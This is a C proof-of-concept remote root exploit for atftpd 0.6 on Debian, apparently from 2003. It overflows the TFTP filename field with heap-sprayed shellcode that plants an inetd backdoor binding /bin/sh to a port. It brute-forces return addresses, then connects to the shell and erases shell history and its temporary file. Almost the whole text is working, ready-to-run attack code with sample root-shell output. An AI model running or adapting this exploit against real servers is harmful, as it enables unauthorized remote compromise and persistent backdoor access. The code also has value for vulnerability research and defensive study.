Proof of concept remote root exploit for atftpd version 0.6. Makes use of the filename overflow found by Rick Patel. Tested against Debian 3.0.
9f6808a16e0468c6d54152cfeec1e9d9af5e7c3678ec1fac83789785f111fae5
/**
** PoC linux/86 remote exploit against atftpd (c) gunzip ( FIXED )
**
** This is a PoC as I didn't investigate the bug very much :
**
** - shellcode is placed in the heap but I didn't check if you can
** increase the number of the nops (probably you can)
**
** - I didn't check other distro/os for offset(s)
**
** - atftpd may crash during attack
**
** - There are better shellcodes to use with this (connect back)
**
** - Code sux, better using select() instead of alarm()
**
** However on my machine with atftpd version 0.6 ( from Debian Woody .deb )
**
** [+] Using len=260 align=0 retaddr=0x08055640 shellcode=120 bport=2583
** sh: no job control in this shell
** sh-2.05b$ uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
** Linux gunzip 2.4.20 #2 Thu Mar 13 14:37:10 CET 2003 i686 unknown
** sh-2.05b$
**
** Thu Jun 5 20:37:32 CEST 2003
**
** bug found by Rick <rikul@interbee.com>
** http://www.securityfocus.com/archive/82/323886/2003-06-02/2003-06-08/0
**
** kisses to tankie
** greets: sorbo, arcangelo, jestah
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#define HEAP_START 0x080514b4
#define HEAP_END 0x080594b4
#define BACKDOOR "rfe" /* port MUST be > 1024 */
#define NOPNUM 128 /* number of nops */
#define PORT 69 /* tftpd port */
#define BUFSIZE 512 /* size of exploit buffer */
#define TIMEOUT 0x5 /* timeout in sec. */
#define NOALARM 0x0 /* no timeout */
#define RRQ 0x1 /* request method */
#define MODE "octet" /* request mode */
#define OFFSET 16000 /* distance of nops from heap */
struct target {
char * name ;
unsigned int align ;
unsigned int len ;
unsigned int retaddr ;
} tg[] =
{
{ "Linux (Debian 3.0)", 0, 264, 0x0805560c },
{ NULL, 0, 0, 0 }
};
char shellcode[]= /* taken from lsd-pl.net */
"\xeb\x22" /* jmp <cmdshellcode+36> */
"\x59" /* popl %ecx */
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x66\x68""-c" /* pushw $0x632d */
"\x89\xe7" /* movl %esp,%edi */
"\x50" /* pushl %eax */
"\x51" /* pushl %ecx */
"\x57" /* pushl %edi */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
"\xe8\xd9\xff\xff\xff" /* call <cmdshellcode+2> */
"echo " BACKDOOR " stream tcp nowait nobody /bin/sh sh -i>/tmp/.x ;/usr/sbin/inetd /tmp/.x;"
;
void timeout( int sig )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL );
fprintf(stderr,"[-] Timeout.\n");
exit( EXIT_FAILURE );
}
int shell( int fd )
{
int rd ;
fd_set rfds;
static char buff[ 1024 ];
char INIT_CMD[] = "unset HISTFILE; rm -f /tmp/.x; echo; id; uname -a\n";
write(fd, INIT_CMD, strlen( INIT_CMD ));
while(1) {
FD_ZERO( &rfds );
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
if(select(fd+1, &rfds, NULL, NULL, NULL) < 1) {
perror("[-] Select");
exit( EXIT_FAILURE );
}
if( FD_ISSET(0, &rfds) ) {
if( (rd = read(0, buff, sizeof(buff))) < 1) {
perror("[-] Read");
exit( EXIT_FAILURE );
}
if( write(fd,buff,rd) != rd) {
perror("[-] Write");
exit( EXIT_FAILURE );
}
}
if( FD_ISSET(fd, &rfds) ) {
if( (rd = read(fd, buff, sizeof(buff))) < 1) {
exit( EXIT_SUCCESS );
}
write(1, buff, rd);
}
}
}
int try( unsigned short bport, unsigned long ip )
{
int sockfd ;
struct sockaddr_in sheep ;
if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("[-] Socket");
exit( EXIT_FAILURE );
}
sheep.sin_family = AF_INET;
sheep.sin_addr.s_addr = ip ;
sheep.sin_port = htons ( bport );
signal( SIGALRM, timeout );
alarm( TIMEOUT );
if ( connect(sockfd,(struct sockaddr *)&sheep,sizeof(sheep)) == -1 )
{
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return 0;
}
alarm( NOALARM );
signal(SIGALRM,SIG_DFL);
return sockfd ;
}
char * xp_make_str( unsigned int len, unsigned int align, unsigned long retaddr )
{
int c ;
char * xp = (char *)calloc( BUFSIZE, sizeof(char) );
char * code = shellcode ;
if( !xp ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}
/* stupid check */
if (( align + len ) > (BUFSIZE - strlen( shellcode ) - 32)) {
fprintf(stderr, "[-] String too long or align too high.\n");
exit( EXIT_FAILURE );
}
/*
* our buffer shoud look like this
*
* [ NOPS ][ SHELLCODE ][ RETADDR * 4 ][ 0 ][ MODE ][ 0 ][ NOPS ][ SHELLCODE ]
* |_____> len
*/
memset ( xp, 0x41, BUFSIZE );
memcpy( xp + len - strlen( code ) - 16, code, strlen( code ));
for ( c = align + len - 16 ; c < len ; c += 4 )
*(long *)( xp + c ) = retaddr ;
*( xp ) = 0x0 ;
*( xp + 1 ) = RRQ ;
*( xp + len )= '\0' ;
memcpy( xp + len + 1, MODE, strlen( MODE ));
*( xp + len + 1 + strlen( MODE )) = '\0' ;
memcpy ( xp + BUFSIZE - strlen( code ), code, strlen( code ));
return xp ;
}
void usage( char * a )
{
int o = 0 ;
fprintf(stderr,
"__Usage: %s -h host -t target [options]\n\n"
"-o\toffset\n"
"-a\talign\n"
"-s\tstep for bruteforcing (try 120 <= step <= 512)\n"
"-l\tlength of filename\n"
"-v\ttreceives packets too (check if daemon's crashed)\n"
"-b\tenables bruteforce (dangerous !)\n\n", a);
while( tg[o].name != NULL )
{
fprintf(stderr, "\t%d - %s\n", o, tg[o].name ); o++ ;
}
fprintf( stderr, "\n" );
exit( EXIT_FAILURE );
}
int main(int argc, char *argv[])
{
int sfd, t = 0, bport = 0, opt = 0, offset = 0,
want_receive = 0, brute = 0, yeah = 0, step = 0;
struct servent * se ;
unsigned long n ;
char * host ;
struct sockaddr_in server ;
int len = sizeof(server);
char * rbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
char * wbuf = (char *)calloc( BUFSIZE + 4, sizeof(char) );
if ( !wbuf || !rbuf ) {
fprintf(stderr, "[-] Not enough memory !\n");
exit( EXIT_FAILURE );
}
memset(&server, 0, sizeof(server));
fprintf(stderr,"\nlinux/x86 atftpd remote exploit by gunzip\n\n");
if ( argc < 3 )
usage( argv[0] );
while ((opt = getopt(argc, argv, "bvo:a:l:h:t:s:")) != EOF) {
switch(opt)
{
case 's': step = atoi( optarg ); break ;
case 'h': host = strdup ( optarg ); break;
case 't': t = atoi(optarg); break;
case 'b': brute++ ; break ;
case 'v': want_receive++ ; break ;
case 'o': offset += atoi( optarg ); break;
case 'a': tg[t].align = atoi( optarg ); break;
case 'l': tg[t].len = atoi( optarg ); break;
default: usage( argv[0] ); break;
}
}
if (( se = getservbyname( BACKDOOR, NULL )) == NULL ) {
perror("[-] Getservbyname");
exit( EXIT_FAILURE );
}
if ((bport = ntohs( se->s_port )) < 1024 ) {
fprintf(stderr, "[-] Backdoor port must be <= 1024\n");
exit( EXIT_FAILURE );
}
if ( inet_aton( host , &server.sin_addr) == 0 ) {
struct hostent * he ;
if ( (he = gethostbyname( host )) == NULL ) {
perror("[-] Gethostbyname");
exit( EXIT_FAILURE );
}
server.sin_addr.s_addr =
((struct in_addr *)(he->h_addr))->s_addr ;
}
if ((sfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1 ) {
perror("[-] Socket");
exit( EXIT_FAILURE );
}
fprintf(stdout,"[+] Sending request to host %s\n",
inet_ntoa(server.sin_addr));
if ( !step ) step = tg[t].len / 2 ;
if ( brute ) offset += OFFSET ;
for( n = HEAP_START + offset; n < HEAP_END ; n += step ) {
fprintf(stdout,"[+] Using len=%d align=%d retaddr=0x%.8x shellcode=%d bport=%d\n",
tg[t].len, tg[t].align,
(brute ) ? (unsigned int)n : (unsigned int)tg[t].retaddr + offset,
strlen(shellcode), bport );
if ( !brute )
wbuf = xp_make_str( tg[t].len, tg[t].align, tg[t].retaddr + offset );
else
wbuf = xp_make_str( tg[t].len, tg[t].align, n );
server.sin_port = htons( PORT );
if ( sendto(sfd, wbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t)sizeof(struct sockaddr)) < tg[t].len)
{
perror("[-] Sendto");
}
else if ( want_receive )
{
signal( SIGALRM, timeout );
alarm( TIMEOUT );
if ( recvfrom(sfd, rbuf,
(size_t) BUFSIZE, 0,
(struct sockaddr *)&server,
(socklen_t *)&len) != -1 )
{
alarm( NOALARM );
signal( SIGALRM, SIG_DFL);
fprintf( stdout,"[+] Received: %.2x %.2x %.2x %.2x\n",
rbuf[0],rbuf[1],rbuf[2],rbuf[3]);
}
else {
perror("[-] Recvfrom");
}
}
sleep ( 1 ) ;
if((yeah = try( bport, server.sin_addr.s_addr ))) {
shell( yeah );
exit( EXIT_SUCCESS );
}
if ( !brute ) break ;
memset( wbuf, 0, BUFSIZE + 4 );
memset( rbuf, 0, BUFSIZE + 4 );
}
return 1 ;
}
/* http://members.xoom.it/gunzip/ */